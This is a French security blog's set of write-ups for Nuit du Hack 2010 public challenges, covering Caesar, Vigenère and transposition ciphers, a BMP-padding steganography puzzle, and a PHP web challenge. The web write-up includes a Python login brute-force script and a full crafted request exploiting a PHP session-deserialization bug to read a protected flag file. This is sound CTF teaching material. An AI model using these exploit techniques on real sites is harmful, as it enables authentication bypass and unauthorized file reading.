Affichage des articles dont le libellé est nuit du hack. Afficher tous les articles
Affichage des articles dont le libellé est nuit du hack. Afficher tous les articles

samedi 26 février 2011

NDH Cryptographie Epreuve 3

L'épreuve 3 de cryptographie de la nuit du hack 2010 se présente de cette façon :

Ws szdv od gowhooehzb od nsesp saqpigd pge kp ao5 cp qp spled doyr pgazns
Pour commencer et pour tous les messages chiffrés, il est important de faire une bonne première analyse pour écarter les mauvaises pistes. Ici plusieurs éléments sont marquants :

  • Le message chiffré contient une majuscule en début de phrase
  • Le message chiffré contient des espaces, et la proportion des "mots" semble respectée
  • Le chiffre 5 apparaît dans le message chiffré, avec deux caractères avant ce qui nous fait penser à md5
Ici on écarte rapidement le chiffrement de transposition, car la majuscule en début de phrase et la proportion des mots qui semble respectée ne collent pas.

Le calcul de l'indice de coïncidence donne le résultat suivant (après retrait des espaces, du 5 et transformation du W en w) :

# ./indice_coincidence.rb "wsszdvodgowhooehzbodnsespsaqpigdpgekpao cpqpspleddoyrpgazns"
0.0647307924984876
L'indice de coïncidence est proche de celui de l'anglais et un peu bas pour du français. Cependant le texte est très court, et se fier aveuglément sur l'indice de coïncidence sur un texte de cette longueur est risqué.
Même si la substitution mono-alphabétique a déjà été utilisée lors de la ndh, c'était une mono-substitution particulière puisqu'un chiffrement de césar, donc on se lance dans cette voie, peut être sans issue.

Des outils existent pour casser une mono-substitution comme SCBSolvr. Cependant je trouve que dans ce genre de challenge, le cheminement vers la solution est plus important que la solution en elle même, du coup on n'utilisera pas cet outil.

J'ai écrit un petit outil sans prétention, permettant de faire une recherche de motif dans une liste de mot. Par exemple si on lui passe 123123 ou abcabc en paramètre il sortira tous les mots comme coucou, tintin ou encore bonbon. Le 4° mot du message chiffré gowhooehzb paraît suffisamment long avec plusieurs lettres répétées, un candidat parfait comme pattern.
# pattern -f dict_fr.txt -p gowhooehzb

# pattern -f dict_en.txt -p gowhooehzb
Ca s'annonce mal... un mot de ce type n'existe ni en français, ni en anglais. Donc soit ce mot est un mot inventé, soit ce n'est pas une mono-substitution. On tente d'autres combinaisons pour confirmer ou infirmer nos hypothèses.
# pattern -f dict_fr.txt -p nsesp,spled,pgazns
...
balai aigle intuba
...
maias asdic stroma
...
Bon hormis le fait que mon dictionnaire est à retravailler... aucun groupe de mots ne semble réellement correspondre à ce que nous recherchons. La voie de la mono-substitution est donc sans issue.

On va tenter l'algorithme Vigenère qui est un algorithme très connu et largement utilisé dans les challenges. Plusieurs techniques existent pour casser l'algorithme Vigenère, mais ici une technique est à privilégier. L'analyse préalable du cipher a laissé supposer que le mot md5 était présent dans le texte en clair, une attaque par mot connue ou KPTA pour known Plain Text Attack sera donc utilisée.

Pour que md5 devienne ao5, il faut qu'il y ait un décalage de 14 (soit la lettre "O" dans l'alphabet) sur la première lettre et de 11 (soit la lettre "L" dans l'alphabet) sur la deuxième. On connait donc deux lettres de notre clé, on va tester ces deux lettres comme clé (et donc supposer que la clé fait deux caractères).
Cipher : WSSZDVODGOWHOOEHZBODNSESPSAQPIGDPGEKPAOCPQPSPLEDDOYRPGAZNS
Clé :    LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLO
Plain :  LEHLSHDPVALTDATTONDPCETEEEPCEUVPESTWEMDOECEEEXTPSANDESPLCE
Intéressant... on devine le mot validation. L'algorithme de chiffrement est donc le bon mais la clé est encore mauvaise.

Le chiffré GOWHOOEHZB doit donc devenir VALIDATION. Pour cela, la clé doit être LOLZLOLZLO. On voit bien la répétition, on teste donc la clé LOLZ.

# vigenere.rb -d WSSZDVODGOWHOOEHZBODNSESPSAQPIGDPGEKPAOCPQPSPLEDDOYRPGAZNS -k LOLZ
LEHASHDEVALIDATIONDECETTEEPREUVEESTLEMDDECETEXTESANSESPACE
Voilà épreuve terminée :)

mardi 18 janvier 2011

NDH WebApp Epreuve 8

Dans la catégorie WebApp du challenge public de la NDH, je ne parlerai que de l'épreuve 8, car on peut trouver des explications sur toutes les autres soit sur le blog de nibbles soit sur le blog de The lsd (Enjoy).

Cette épreuve a été réalisée par NiklosKoda et comme toujours avec lui, c'est une belle réussite qui nous montre à quel point un code apparemment simple peut malgré tout être vulnérable. D'autres épreuves de NiklosKoda peuvent être trouvées sur le site de newbiecontest comme WarezManiac, WebGalerie et la fabuleuse Randy's Forum (nécessite un compte). Une fois ces épreuves réalisées, je vous conseille d'aller faire un tour sur W3challs.

Bon maintenant que la pub est terminée, je vais pouvoir attaquer cette fameuse épreuve. Pour commencer les sources du site sont disponibles et ça en général ça veut dire qu'on a intérêt à être calé en bugs PHP ou en comportements un peu exotiques...

Première étape, on se munit d'un firefox bien configuré avec en particulier l'extension HackBar puis on va essayer de monter en local le site pour qu'il soit au maximum similaire à celui de l'épreuve (ce n'est pas nécessaire, mais ça aide bien pour faire des tests). Avec un peu de chance la version de PHP apparaît dans l'en-tête HTTP ou dans les fichiers d'erreur du serveur.

time0ut# curl -D - http://wargame.nuitduhack.com:8084/time.0ut
HTTP/1.1 404 Not Found
Date: Wed, 12 Jan 2011 19:58:34 GMT
Server: Apache/2.2.15
Vary: Accept-Encoding
Content-Length: 206
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /time.0ut was not found on this server.</p>

Bon bin ici, pas de chance on a aucune information sur PHP... la configuration a été faite pour filtrer ce genre d'informations... On va fonctionner en aveugle. Les différents challenges précédents tournaient avec un PHP 5.x, on va faire de même.

Maintenant à quoi ressemble ces sources :
time0ut# ls -lRA
.:
total 12
-rw-r----- 1 time0ut www-data  794 2011-01-10 23:44 admin.php
-rw-r----- 1 time0ut www-data  663 2010-12-31 00:40 index.php
drwxr-x--- 2 time0ut www-data 4096 2011-01-11 22:36 noway

./noway:
total 20
-rw-r----- 1 time0ut www-data 4561 2011-01-09 23:18 config.inc.php
-rw-r----- 1 time0ut www-data   16 2010-12-31 00:40 .htaccess
-rw-r----- 1 time0ut www-data   31 2011-01-11 22:36 th3_fl4g_is_h3rE.php
-rw-r----- 1 time0ut www-data  208 2010-12-31 00:40 websites.txt

time0ut# cat noway/.htaccess
deny from all

On remarque immédiatement le fichier th3_fl4g_is_h3rE.php qui contient le Saint Graal, bien protégé par un .htaccess. Bien entendu, le vrai contenu ne se trouve pas dans les sources, mais c'est l'objectif de l'épreuve : lire le contenu de ce fichier.
Après une analyse rapide du code source, on remarque que la seule fonction qui va nous permettre de voir le contenu de ce fichier est file_get_contents, appelée dans le destructeur de la classe MultiWebSiteHandler. Cette classe est appelée dans admin.php, il va donc falloir avant devenir administrateur sur le site.

La première étape va consister à passer l'authentification de index.php. Pour cela il faut traverser le check suivant :

require_once './noway/config.inc.php';

...

if ( isset($_POST['login'], $_POST['pass']) && is_string($_POST['login']) && !empty($_POST['login']) && ctype_alnum($_POST['login']) && is_string($_POST['pass']) && !empty($_POST['pass']) && ctype_alnum($_POST['pass'])  )
{
   $login = trim($_POST['login']);
   $pass = trim($_POST['pass']);

   if( $login == $config['login'] && $pass == $config['pass'] )
   {
      $sess->connectMe();
      $sess->goToAdmin();
La variable $config se trouve dans le fichier noway/config.inc.php et est initialisée comme suit (bien entendu les valeurs réelles ont été modifiées) :

$config['login'] = 'some_login_you_cant_guess...';
$config['pass'] = 'some_pass_youll_never_find...';
...


Ici pas de connexion à une base de données, aucune SQL injection... il faut se creuser la tête.

Qu'affiche le code suivant ?
$var = "some_text";
$var["foo"] = "Hello World !";
echo $var["foo"];
?>
Il affiche H !
Quelques explications ici sont nécessaires : Dans l'affectation $var["foo"] = "Hello World !"; $var est une chaîne de caractère et non un tableau. Du coup la chaine "foo" est implicitement transformée en entier et devient 0. $var["foo"] représente donc le premier caractère de la chaîne $var, soit H. Plus d'informations ici.

Dans le cas qui nous intéresse, si on passe config dans la requête HTTP (GET, POST ou COOKIE), on transforme donc $config en chaîne de caractères (seulement si register_globals est à ON) et donc $config['login'] sera égal à $config['pass'] qui sera égal à $config[0] et qui sera au final égal au premier caractère de 'some_pass_youll_never_find...'.
D'après le test fait dans index.php, 'some_pass_youll_never_find...' ne peut contenir que des caractères alphanumériques (ctype_alnum), donc au final il n'y a que 62 possibilités pour trouver la valeur $config['pass'] si config est passée en paramètre.

Un petit brute force permet de rapidement tester l'ensemble des possibilités :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib, urllib2, re, cookielib

def bf_become_admin():
   # Seuls caracteres possibles pour le login et le pass
   alphabet="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
   pattern = re.compile(r".*somehow.*",re.M);

   for char in range(len(alphabet)):
      #for pwd in range(len(alphabet)):
      # En mettant une valeur a config, ca devient une chaine de caractere et plus un tableau, du coup on teste juste le premier caractere
      # $config['login'] = 'some_login_you_cant_guess...'; devient $config[0] = 's';
      data = "config=some_text&login="+alphabet[char]+"&pass="+alphabet[char];

      req = urllib2.Request('http://wargame.nuitduhack.com:8084/index.php',data);
      r = urllib2.urlopen(req);

      d = r.read();

      if pattern.search(d) == None:
         print "Char: ",alphabet[char]
         return;

bf_become_admin();


Le caractère tant attendue est 3. Ce qui veut dire qu'un simple POST de ce type config=some_text&login=3&pass=3 sur la page index.php permet de devenir administrateur sur le site.

Remarque: A noter que empty("0") retourne vrai et donc si le mot de passe avait commencé par "0", le test de index.php ne serait pas passé, et il n'aurait pas été possible d'exploiter la faille.

Maintenant qu'il est possible d'être administrateur, il faut réussir à lire le flag. A première vue, ça va être compliquée car le chemin du fichier lu est écrit en dur dans le constructeur de la classe MultiWebSiteHandler définie dans config.inc.php.

$this->file = realpath('.').'/noway/websites.txt';


A priori impossible de modifier cela...

Commençons par essayer de comprendre dans quelles circonstances ce fichier va être lu. Comme dit précédemment il est lu par la fonction file_get_contents qui est appelée par la fonction parse, dans le destructeur de la classe MultiWebSiteHandler. Donc le fichier est lu quand l'objet créé dans admin.php est détruit, donc à la fin d'admin.php. Il faudrait être capable d'appeler le destructeur de l'objet, mais sans appeler le constructeur... pire, il faudrait être capable de créer l'objet que l'on veut, et qu'il soit ensuite détruit...

Là encore, il faut se creuser la tête... et faire des recherches sur le net, notamment sur le site the Month of PHP Security. Après de longues recherches et quelques litres de café, on tombe sur ce lien qui parle d'un bug PHP spécifique à certaines versions (5.2 <= 5.2.13 et 5.3 <= 5.3.2) et dont le but est de corrompre le fichier de sessions de PHP. Bon on ne sait pas si la version de PHP utilisée correspond, mais on a rien d'autre à se mettre sous la dent.

L'idée est simple (en tout cas après coup c'est simple :D), quand une session est créée par PHP, il construit un fichier dans lequel il sauvegardera toutes les données de session (les données seront serialisées). Lorsqu'une nouvelle page aura besoin de ces données, le fichier sera lu et les données seront déserialisées. Certaines versions de PHP ont un bug qui fait qu'il est possible dans des conditions très particulières, de corrompre ce fichier de session pour que quand il est relu par PHP, de nouvelles variables de session soient créées. Grâce à cela il devrait être possible de forger l'objet que l'on souhaite (sans appeler le constructeur puisque celui ci sera issue d'une sois disant sauvegarde de session).

Pour que l'exploitation de la vulnérabilité soit possible, il est nécessaire de pouvoir créer une variable de session (ça c'est classique), mais surtout de pouvoir choisir le nom de cette variable (ça c'est de suite moins commun). L'exploit consiste ensuite à faire commencer le nom de la variable par un "!" (PS_UNDEF_MARKER), du coup PHP s'embrouille dans son parsing du fichier. Heureusement ici, c'est le cas dans le fichier admin.php :

...
if( isset($_GET['site'], $_GET['sessAdmin'], $_GET['sessValue']) && is_string($_GET['site']) && is_string($_GET['sessAdmin']) && is_string($_GET['sessValue']) )
{
   $sess->set($_GET['sessAdmin'].'_session_admin_', $_GET['sessValue'], true);
...
?>

En faisant commencer la variable sessAdmin passée en GET avec un "!", PHP va s'embrouiller. Et il sera possible avec la variable sessValue, de créer notre objet (ici un MultiWebSiteHandler avec le paramètre file à noway/th3_fl4g_is_h3rE.php) qui affichera le fichier tant attendu. sessValue doit être de la forme |nom_variable|structure_serialisée.

En résumé les étapes pour l'exploitation sont les suivantes :

  • Action utilisateur : Authentification en tant qu'admin en passant config en paramètre
  • Action utilisateur : Appel de la page admin.php en passant les paramètres sessAdmin et sessValue structurés de la bonne façon.
  • Action PHP : Exécution du script PHP puis à la fin sauvegarde des paramètres de session dans un fichier
  • Action utilisateur : Rechargement de la page
  • Action PHP : Récupération des paramètres de session dans le fichier (et du coup récupération de variables de session malveillantes), exécution du script puis à la fin appel des destructeurs et exécution du code malveillant
La requête effectuée pour passer les paramètres sessAdmin et sessValue est la suivante :

GET /admin.php?site=site1&sessAdmin=!&sessValue=|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}


Pour information dans le cas d'un appel normal lors d'un appel à la page admin.php avec les paramètres site=site1&sessAdmin=_site1_&sessValue=Admin le contenu des variables de session est :

_iAmFr34KinAdmin_ => 1

_site1__session_admin_ => Admin

Et le contenu du fichier de session est (le nom des variables est en bleu) :
_iAmFr34KinAdmin_|b:1;_site1__session_admin_|s:5:"Admin";
Dans le cas de notre appel malicieux, l'exploitation de la vulnérabilité aura pour objectif d'avoir un fichier de session ressemblant à ça :
_iAmFr34KinAdmin_|b:1;!_session_admin_|s:467:"|evil_object|O:19:"MultiWebSiteHandler":4:{s:25:"MultiWebSiteHandlerfile";s:26:"noway/th3_fl4g_is_h3rE.php";s:25:"MultiWebSiteHandlerdata";s:0:"";s:25:"MultiWebSiteHandlerhtml";O:7:"Display":2:{s:14:"Displaytitle";s:14:"Administration";s:13:"Displaybody";s:0:"";}s:25:"MultiWebSiteHandlersess";O:14:"SessionHandler":3:{s:25:"SessionHandlerindexPage";s:9:"index.php";s:25:"SessionHandleradminPage";s:9:"admin.php";s:24:"SessionHandlerdestruct";b:0;}}";

dimanche 9 janvier 2011

NDH Cryptographie Epreuve 2

L'épreuve 2 de cryptographie du challenge public de la ndh 2010 demande une bonne analyse du cipher (texte chiffré). Pour commencer, il ne faut pas tomber dans le piège du HTML en récupérant le cipher. Le HTML transforme plusieurs espaces en un seul espace par défaut, du coup la résolution du problème devient bien plus ardue.

Le cipher à décrypter est donc :

pArmpamete an, canps'  aeetot pru   drdahefrcief ror.P u llgef,aa tsfi e deeem mea avc lgledinu e sudssoX.XXXXXX

Que nous dit l'analyse du cipher ?
  • On trouve plusieurs classe de caractères : minuscules (en majorité), majuscule, signes de ponctuation. La fréquence de chaque classe à l'air d'être cohérente (à première vue) avec un texte classique. La position par contre n'est pas classique.
  • Il y a un ensemble de X à la fin, comme un espèce de padding.
  • L'analyse de fréquence des lettres nous dit que les lettres E et A sont les lettres qui reviennent le plus souvent, ce qui correspond aux deux lettres les plus fréquentes en Français. Bon l'analyse de fréquence avec un texte aussi court est à prendre avec des pincettes, mais ça reste une information intéressante.
Tous ces éléments ici font passer à un chiffre de transposition. Les chiffres de transposition rectangulaire respectent la fréquence des lettres, ils ne font que mélanger l'ensemble des caractères. En plus ce chiffre nécessite un padding pour pouvoir réaliser correctement le rectangle.

La longueur du cipher est 112. Pour ranger 112 caractères dans un rectangle, on a pas beaucoup de choix sur les différents rectangles possibles : 56x2, 28x4, 16x7, 14x8, 8x14, 7x16, 4x28 et 2x56 (colonne x ligne).

De tous ces rectangles possibles, seuls les rectangles suivants mettent le padding sur la même ligne : 56x2, 28x4, 16x7, 14x8 et 8x14.

On va commencer par le tableau 8x14 qui est celui qui demande la clé la plus petite (clé de 8).

0 1 2 3 4 5 6 7
p A r m p a m e
t e a n , c
a n p s ' a
e e t o t p r
u d r d a
h e f r c i e f
r o r . P u
l l g e f , a
a t s f i e
d e e e m m
e a a v c l
g l e d i n u
e s u d s s o
X . X X X X X X


On remarque que la 2° colonne possède une majuscule sur la première ligne et que c'est le seul caractère différent de X sur la dernière. C'est intéressant, la 2° colonne est donc probablement en réalité la première.
On recherche donc un mot commençant par un A faisant au minimum 9 caractères (il y a un E sous le A), ne possédant que les caractères A, R, P, M, E sur ces 8 premiers caractères et un E en 9° caractère. On regarde les mots du dictionnaire qui respectent cette règle :

time0ut# grep --color -E '^a(r|p|m)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)(a|r|p|m|e)e' dic.txt
apparemment

Super ! Un seul mot correspond. De plus les deux lettres suivantes N et T se trouvent sur la deuxième ligne sous les lettres P. Tout fonctionne bien.

Deux clés sont donc possibles car on ne peut pas différencier les deux M dans apparemment :
  • 1,4,0,5,2,7,3,6
  • 1,4,0,5,2,7,6,3
On regarde ce que ça donne :

14052736
A
p
p
a
r
e
m
m
e
n
t
,
c
a
n
'
a
p
a
s
e
t
e
t
r
o
p
d
u
r
a
d
e
c
h
i
f
f
r
e
r
.
P
o
u
r
l
e
f
l
a
g
,
f
a
i
t
e
s
d
e
m
e
m
e
a
v
e
c
l
a
l
i
g
n
e
d
u
d
e
s
s
o
u
s
.
X
X
X
X
X
X
X


14052763
Apparemm
ent,ca
n'apas
etetrpo
durad
echiffer
r.Pour
lefla,g
faites
dememe
avecla
ligneud
dessosu
.XXXXXXX


On voit que la bonne clé est 1,4,0,5,2,7,3,6. Le texte déchiffré est donc :
Apparemment, ca n'a pas ete trop dur a dechiffrer. Pour le flag, faites de meme avec la ligne du dessous.XXXXXXX
Il ne reste plus qu'à appliquer la même opération sur la deuxième ligne et obtenir le résultat.
1b6d0ccf12a5ccbc7d0329cd1580226f

NDH Cryptographie Epreuve 1

Je continue mon parcours sur les épreuves du challenge public de la ndh 2010. Ici on s'attaque à l'épreuve 1 de le cryptographie.


Xnwrk ha dwod lkqn rwhezan aop 27wz62965aawa3b0b1319y489y107y99


Bon on se dit que c'est la première épreuve et que ça ne doit pas être bien difficile, on va commencer simple, voir très simple avec un simple césar.

time0ut# caesar.rb -b -f epreuve.txt
DEC:1 => WMVQJ GZ CVNC KJPM QVGDYZM ZNO 27VY62965ZZVZ3A0A1319X489X107X99
DEC:2 => VLUPI FY BUMB JIOL PUFCXYL YMN 27UX62965YYUY3Z0Z1319W489W107W99
DEC:3 => UKTOH EX ATLA IHNK OTEBWXK XLM 27TW62965XXTX3Y0Y1319V489V107V99
DEC:4 => TJSNG DW ZSKZ HGMJ NSDAVWJ WKL 27SV62965WWSW3X0X1319U489U107U99
DEC:5 => SIRMF CV YRJY GFLI MRCZUVI VJK 27RU62965VVRV3W0W1319T489T107T99
DEC:6 => RHQLE BU XQIX FEKH LQBYTUH UIJ 27QT62965UUQU3V0V1319S489S107S99
DEC:7 => QGPKD AT WPHW EDJG KPAXSTG THI 27PS62965TTPT3U0U1319R489R107R99
DEC:8 => PFOJC ZS VOGV DCIF JOZWRSF SGH 27OR62965SSOS3T0T1319Q489Q107Q99
DEC:9 => OENIB YR UNFU CBHE INYVQRE RFG 27NQ62965RRNR3S0S1319P489P107P99
DEC:10 => NDMHA XQ TMET BAGD HMXUPQD QEF 27MP62965QQMQ3R0R1319O489O107O99
DEC:11 => MCLGZ WP SLDS AZFC GLWTOPC PDE 27LO62965PPLP3Q0Q1319N489N107N99
DEC:12 => LBKFY VO RKCR ZYEB FKVSNOB OCD 27KN62965OOKO3P0P1319M489M107M99
DEC:13 => KAJEX UN QJBQ YXDA EJURMNA NBC 27JM62965NNJN3O0O1319L489L107L99
DEC:14 => JZIDW TM PIAP XWCZ DITQLMZ MAB 27IL62965MMIM3N0N1319K489K107K99
DEC:15 => IYHCV SL OHZO WVBY CHSPKLY LZA 27HK62965LLHL3M0M1319J489J107J99
DEC:16 => HXGBU RK NGYN VUAX BGROJKX KYZ 27GJ62965KKGK3L0L1319I489I107I99
DEC:17 => GWFAT QJ MFXM UTZW AFQNIJW JXY 27FI62965JJFJ3K0K1319H489H107H99
DEC:18 => FVEZS PI LEWL TSYV ZEPMHIV IWX 27EH62965IIEI3J0J1319G489G107G99
DEC:19 => EUDYR OH KDVK SRXU YDOLGHU HVW 27DG62965HHDH3I0I1319F489F107F99
DEC:20 => DTCXQ NG JCUJ RQWT XCNKFGT GUV 27CF62965GGCG3H0H1319E489E107E99
DEC:21 => CSBWP MF IBTI QPVS WBMJEFS FTU 27BE62965FFBF3G0G1319D489D107D99
DEC:22 => BRAVO LE HASH POUR VALIDER EST 27AD62965EEAE3F0F1319C489C107C99
DEC:23 => AQZUN KD GZRG ONTQ UZKHCDQ DRS 27ZC62965DDZD3E0E1319B489B107B99
DEC:24 => ZPYTM JC FYQF NMSP TYJGBCP CQR 27YB62965CCYC3D0D1319A489A107A99
DEC:25 => YOXSL IB EXPE MLRO SXIFABO BPQ 27XA62965BBXB3C0C1319Z489Z107Z99
caesar.rb est un programme faisant juste des décalage de lettres. L'option -b lui dit de tester toutes les possibilités (c'est à dire juste 25 pour un simple César). On voit que le décalage 22 donne le bon résulat.

jeudi 6 janvier 2011

NDH Steganographie Epreuve 3

J'ai décidé pendant mon temps libre de m'attaquer aux challenges publics de la nuit du hack 2010 qui a eu lieu le 19 Juin 2010. Comme ces challenges se déroulent sur une nuit, ils sont relativement rapides à faire et je dois dire très bien faits. Je félicite donc les concepteurs de ces challenges, car ils sont très intéressants sans être trop prise de tête. L'épreuve 3 de steganographie illustre parfaitement mon post sur le padding BMP. On ressort donc mon petit programme python que l'on peut trouver dans ce post et on l'exécute sur notre image.
time0ut# ./bmp.py space.bmp
Taille padding : 842
Padding non nul !
Ca ne fait pas de doute, ça sent l'information cachée dans le padding à plein nez ! Le problème c'est qu'en stéganographie il peut être facile de savoir si oui ou non une information est cachée dans le support, par contre savoir extraire cette information est d'une toute autre difficulté.

On va commencer doucement et simplement afficher le contenu de ce padding, avec un peu de chance on trouvera quelque chose de connu. Pour cela, je m'appuie sur la classe BMP codée dans mon post sur le padding.
...
img = BMP(sys.argv[1]);
print "".join(bmp.padding());
Et on execute le programme !
time0ut# ./ep3.py space.bmp
bGUgaGFzaCBlc3QgOiA2Njk3NmI1ZDNiYWNjNzQwOWNkODNiNGIzMTM5NDcxYw==
Hum, ça sent bon. On voit clairement que c'est de la base64, l'extraction de l'information ne sera donc pas difficile ! On modifie le programme.
...
img = BMP(sys.argv[1]);
print base64.b64decode("".join(bmp.padding()));
Et on conclut !
time0ut# ./ep3.py space.bmp
le hash est : 66976b5d3bacc7409cd83b4b3139471c
Voilà résolution terminée !